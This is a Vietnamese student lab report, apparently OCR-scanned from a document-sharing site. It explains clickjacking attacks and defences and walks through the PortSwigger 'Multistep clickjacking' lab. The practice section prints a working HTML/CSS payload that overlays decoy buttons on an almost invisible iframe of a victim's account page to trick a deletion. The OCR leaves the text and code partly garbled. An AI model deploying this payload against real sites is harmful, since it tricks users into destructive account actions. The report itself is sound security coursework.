1. Trang chủ
  2. » Luận Văn - Báo Cáo

Bài tập thực hành an toàn ứng dụng web và cơ sở dữ liệu khai thác lỗ hổng multistep clickjacking

13 2 0
Tài liệu được quét OCR, nội dung có thể không chính xác
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Bài tập thực hành an toàn ứng dụng web và cơ sở dữ liệu khai thác lỗ hổng multistep clickjacking
Tác giả Ninh Thi Thu Trang, Nguyễn Hoàng Minh
Trường học Học Viện Công Nghệ Bưu Chính Viễn Thông
Chuyên ngành An toàn thông tin
Thể loại Bài tập thực hành
Năm xuất bản 2024
Thành phố Hà Nội
Định dạng
Số trang 13
Dung lượng 2,07 MB

Nội dung

Khai niém Clickjacking là một hình thức tấn công đánh lừa người đùng nhấp chuột vô ý vào một đối tượng trên website.. Khi nhấp chuột vào một đối tượng trên màn hình, người dùng nghĩ la

Trang 1

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIÊN THÔNG

KHOA AN TOÀN THÔNG TIN

wane _————S—————e

BÀI TẬP THỰC HÀNH

AN TOÀN ỨNG DỤNG WEB VÀ

CƠ SỞ DỮ LIỆU

Khai thác lỗ hồng

Multistep clickjacking

Trang 2

MỤC LỤC

LoL Kmnat nt@im HH Ha 3

I9) 0 /(iẶẮẶẮẶỶÝÁÝỶÝỶ 3

ID Côn (voi (dÓ66“aasaaiiaảiiắaắŸÝ 4 1.2.3 StrokeJacking - - - 1 2.1020 1120112111211 1511111111111 11111111111 1111k HH nh 5

IEENyL.0i)).6ảÝŸÝ 5

1.3.1 Clickjacking -> Sensitive Click-Based Action -c c2 22x22 5 1.3.2 ClickJacking -> Form Ïnput - - - + 2: 22212221121 1121 1123111511 1511 151115111 ce 5 1.3.3 Clickjacking -> Non-Sensitive ÂctIOn - Q2 1 2.12201121112112 11111 ray 6 1.4 Cách phòng chống - - S1 21 1111111111 112112111 1 1112121111010 yeu 6

IE SP Củy.¡ìì: 9s 6 1.4.2 Content Security PoÌIcy L1 2011020 11211121112111111 1111111111811 81 ky ra 6 1.4.3 Frame-Kalltng — 6

2

Trang 3

PHAN 1: LY THUYET

PHAN 1: LY THUYET

1.1 Khai niém

Clickjacking là một hình thức tấn công đánh lừa người đùng nhấp chuột vô ý vào một

đối tượng trên website Khi nhấp chuột vào một đối tượng trên màn hình, người dùng nghĩ

la minh dang click vao đối tượng đó nhưng thực chất họ đang bị lừa cliek vào một đối tượng

đã bị làm mờ hay ân đi Kẻ tân công có thế sử đụng kỹ thuật tan công này cho nhiều mục đích Đánh cắp tài khoản người đùng, lừa click vào quảng cáo đề kiếm tiền, lừa like page hoặc nguy hiểm hơn là cài một webshell lên máy chủ web

xì"

<>c| ——+a

1.2 Cách tấn công

Sử dụng thuộc tinh CSS opacity (lam cho cac iframe trong suốt) dé che giấu đối tượng web cần click vào và z-index đề hiển thị đối tượng web dùng đề lừa

opacity: 0.1

z-index: -1

Lấy đối tượng dùng đề đánh lừa phủ lên đối tượng mục tiêu và sử dụng thuộc tính CSS pointer-events: none đề vô hiệu hóa thao tác nhấp chuột lên đối tượng dùng đề đánh lừa

3

Trang 4

PHAN 1: LY THUYET

pointer-event: none

= = Click Event

74%

1.2.2 Gia mao con trò chuột

An con trỏ chuột thật, thay thế bằng con trỏ chuột giả bằng cách sử dụng thuộc tinh CSS cursor: none va str dung javascript đề mô phỏng sự di chuyên của con trỏ thật

Trang 5

PHẦN 1: LÝ THUYẾT

1.2.3 Strokejacking

Đánh lừa người dùng øõ chuỗi ký tự khi con trỏ chuột đang đặt vào các form nhập dữ liệu Kẻ tấn công có thê lừa người dùng nhập vào một số thông tin không mong muốn vào trang web mục tiêu

Typing Game Bank Transfer

Type what ever screen shows to you Bank Account: 9540

Amount: 3062 USD Xfpog95403poigr06=2kfpx

——w——

1.2.4 Chèn đối tượng mục tiêu khi người dùng đang nhấp chuột

Dé tấn công băng kỹ thuật này, kẻ tấn công có thể lừa người dùng tham gia trò chơi yêu cầu nhấp chuột nhanh nhất

Instructions:

Please click on blue buttons as fast as possible The faster you complete this game the greater your chances to win a $100 prize! If you don't click on a button, the øame will skip it in 10 seconds

Buttons clicked: 17/20

Time elapsed: 27.6 sec

CLICK ME

NW

Bi Like hị

1.3 Hậu quả

1.3.1 Clickjacking > Sensitive Click-Based Action

Đây là mức độ nguy hiểm cao nhất của Clickjacking Trang web mà hacker khai thác

có chứ những nút click mang tính nguy hiểm cao mà không thực hiện xác thực Những nút Click nguy hiểm có thể bao gồm: Xóa tài khoản người dùng, xác thực I giao dịch thông qua | hoa rất ít lần nhấp chuột

Bên cạnh mức độ nguy hiểm, thì hậu quả của lỗi trên thường được đánh mức nguy hiểm là P4 trong trong các chương trình bugbounty và hoàn toàn được chấp nhận là I lỗ hồng được trả tiền thưởng

1.3.2 Clickjacking -> Form Input

Trang web khai thác có chứa chức năng đổi mật khâu nhưng không xác thực lại mật khâu cũ Hacker sẽ loi dung Clickjacking dé lừa người dùng nhập vào l chuỗi ký tự vào form input của trang web mà hacker kiểm soát, nhưng thực chất là đang nhập | mat khau mới và hacker hoàn toàn biết được gia tr của mật khẩu mới đó Như vậy hacker có thể chiếm được tài khoản của nạn nhân

Trang 6

PHẦN 1: LÝ THUYẾT

Form input ngoài chức năng đổi mật khâu thì hacker có thê khai thác chức năng đổi email người dùng nếu như không được xác thực đúng cách Bên cạnh đó chức năng đăng nhập cũng có thê được lợi dụng đề khai thác tuy nhiên thì cách tắn công này mang lại hiệu quả không quá cao

1.3.3 Clickjacking > Non-Sensitive Action

Tại mức độ này thì sự nguy hiểm của Clickjacking mang lại là không cao khi trang web đã sử dụng các phương thức xác thực tốt hoặc không chứa những những nút click dẫn tới tác động cụ thể

Hiện tại thì lỗi trên thường được đánh mức nguy hiểm là P5 (mức độ infomation) trong trong các chương trình bugbounty Tuy nhiên không thê chắc chắn trong tương lai trang web đó có thêm các tính năng dẫn tới nguy hiểm hay không nên vẫn tiềm ấn rủi ro 1.4 Cách phòng chống

1.4.1, X-Frame-Options

X-Frame-Options HTTP header co thé ding dé biéu thị có hoặc không cho phép trình duyệt render các thẻ như <frame>, <iframe>, <object> Nó được thiết kế đặc biệt để chong clickjacking

1.4.2, Content Security Policy

Đây là một phần của chuẩn HTML 5 giúp cung cấp phạm bí bảo vệ rộng hơn X- Frame-Opfions header Nó được thiết kế như là cách đề liệt kê các tên miền có thể sử dụng tài nguyên như là stylesheets, fonts, script được phép nhúng

// không cho phép hiển thị trong frame

Content-Security-PoLicy: frame-ancestors 'none '

// chi được hiển thị trên chính website gốc

Content-Security-PoLicy: frame-ancestors 'seLf'

// được phép hiển thị trên các website được chỉ định

Content-Security-PoLicy: frame-ancestors *urix

1.4.3 Frame-Killing

Trên các trình duyệt cũ, cách thường được sử dụng để bảo vệ người dùng khỏi clickjacking là thém frame-killing JavaScript snippet vao pages Khi trang web load, doan code trén sé kiếm tra domain của trang gốc có khớp với đomain của cửa số trình đuyệt hay không, nếu pass qua bước check thì được phép hiễn thị

Trang 7

<style>

/* Hide page by default +%/

html { display : none; }

</style>

<script>

if (self == top) {

// Everything checks out, show the page

PHAN 1: LY THUYET

document documentElement.style.display = 'bLock';

} else {

// Break out of the frame

top location = self location;

}

</script>

Đối với php:

header("X-Frame-Options: DENY");

header("Content-Security-PoLicy: frame-ancestors 'none'", false);

Trang 8

PHAN 2: THUC HANH

PHAN 2: THUC HANH

Dé bai:

Lab: Multistep clickjacking

@

This lab has some account functionality that is protected by a CSRF token and also has a confirmation dialog to protect against Clickjacking To solve this lab construct an attack that fools the user into clicking the delete account button and the confirmation dialog by clicking

on "Click me first" and "Click me next" decoy actions You will need to use two elements for this lab

You can log in to the account yourself using the following credentials: wiener: peter

Note The victim will be using Chrome so test your exploit on that browser

Thực hiện:

Tiến hành truy cập bai lab thay “Not solved”

Web Security Multistep clickjacking ree Academy ee a cary)

This is your server You can use the form below to save an exploit, and send it to the victim

Please note that the victim uses Google Chrome When you test your exploit against yourself, we recommend using Burp's Browser or Chrome

Craft a response

URL: https://exploit-0a690020042493b280de6ba901b400ec.exploit-server.net/exploit

fexploit

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Chèn đoạn mã sau vào phần “Body”

Trang 9

PHAN 2: THUC HANH

<style>

iframe {

position: relative;

width: 500px;

height: 700px;

opacity: 0.0001;

z-index: 2;

}

JirstClick, secondClick {

position:absolute;

top: 500px;

left: SOpx;

z-index: 1;

}

secondClick §

top: 285px;

left: 225 px;

}

</style>

<div class="firstClick">Click me first</div>

<div class="secondClick">Click me next</div>

<iframe src="https://Oaae002804c4935080076ca600 1c009 1 web-security academy.net/my-account"></iframe>

<style>

iframe {

position:relative width: 500px height: 700px

opacity: 0.1 z-index: 2 }

i

firstClick, secondClick {

position:absolute;

top: 500px left: 50px:

z-index: 1

Truy cap trang web exploit lay ID URL

Trang 10

PHAN 2: THUC HANH

`

|web-security-academy.net f3 GoogleỐngkính &) x

WebSecurity Multister clickiacking

Acaderryí¿Ì Back ab description

Home | My account

WE LIKE TO —

BLOG —~

mà Son, Chinh stra ID URL vua lay duoc

position:absolute;

top: 500px

left: 50px;

z-index: 1;

}

.secondClick {

top: 285px;

left: 225px;

}

</style>

<div class="firstClick">Click me first</div>

<div class="secondClick">Click me next</div>

<iframe src="http: web-security id net/my-account"><fiframe>

Dang nhap thi vao trang web cua victim với username:password là wiener:peter

Login

Username

wiener

Password

Chỉnh sửa đoạn mã vừa chèn vào phần “Body”, khi để opacity(độ mờ) 0 | ta sẽ thấy như bên dưới

10

Trang 11

PHAN 2: THUC HANH

Click me next

Click me first

Khi tiễn hành tân công sẽ để opacity 0.00001 để nạn nhân không thấy Kết quả sẽ như bên dưới

11

Trang 12

PHAN 2: THUC HANH

Click me next Click me first

Sau khi điều chỉnh các thông số tiến hành gửi trang web cho nạn nhân và ta thấy bài lab

đã được Solved

Web Security Multistep clickjacking

cademy

=) SONS

Congratulations, you solved the lab! Share your skills! yy [f © Continue learning

This is your server You can use the form below to save an exploit, and send it to the victim

Please note that the victim uses Google Chrome When you test your exploit against yourself, we recommend using Burp's Browser or Chrome

Craft a response

URL: https://exploit-0a690020042493b280de6ba90 1 b400ec exploit-server.net/exploit

/exploit

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

12

Trang 13

KÉT LUẬN

Lý thuyết:

- _ Tìm hiểu khái niệm, cách tân công, hậu quả, cách phòng chống clickjacking Thực hành:

- Hoan thanh bai Lab trén PortSwigger

Multistep clickjacking >

Web Security Multistep clickjacking

Academy

.-É

Congratulations, you solved the lab!

Share your skills!) yy ff} Continue leaming

This is your server You can use the form below to save an exploit, and send it to the victim

Please note that the victim uses Google Chrome When you test your exploit against yourself, we recommend using Burp's Browser or Chrome

Craft a response

URL: https://exploit-0a690020042493b280de6ba901b400ec.exploit-server.net/exploit

‘exploit

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

13

Ngày đăng: 15/02/2025, 22:24

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN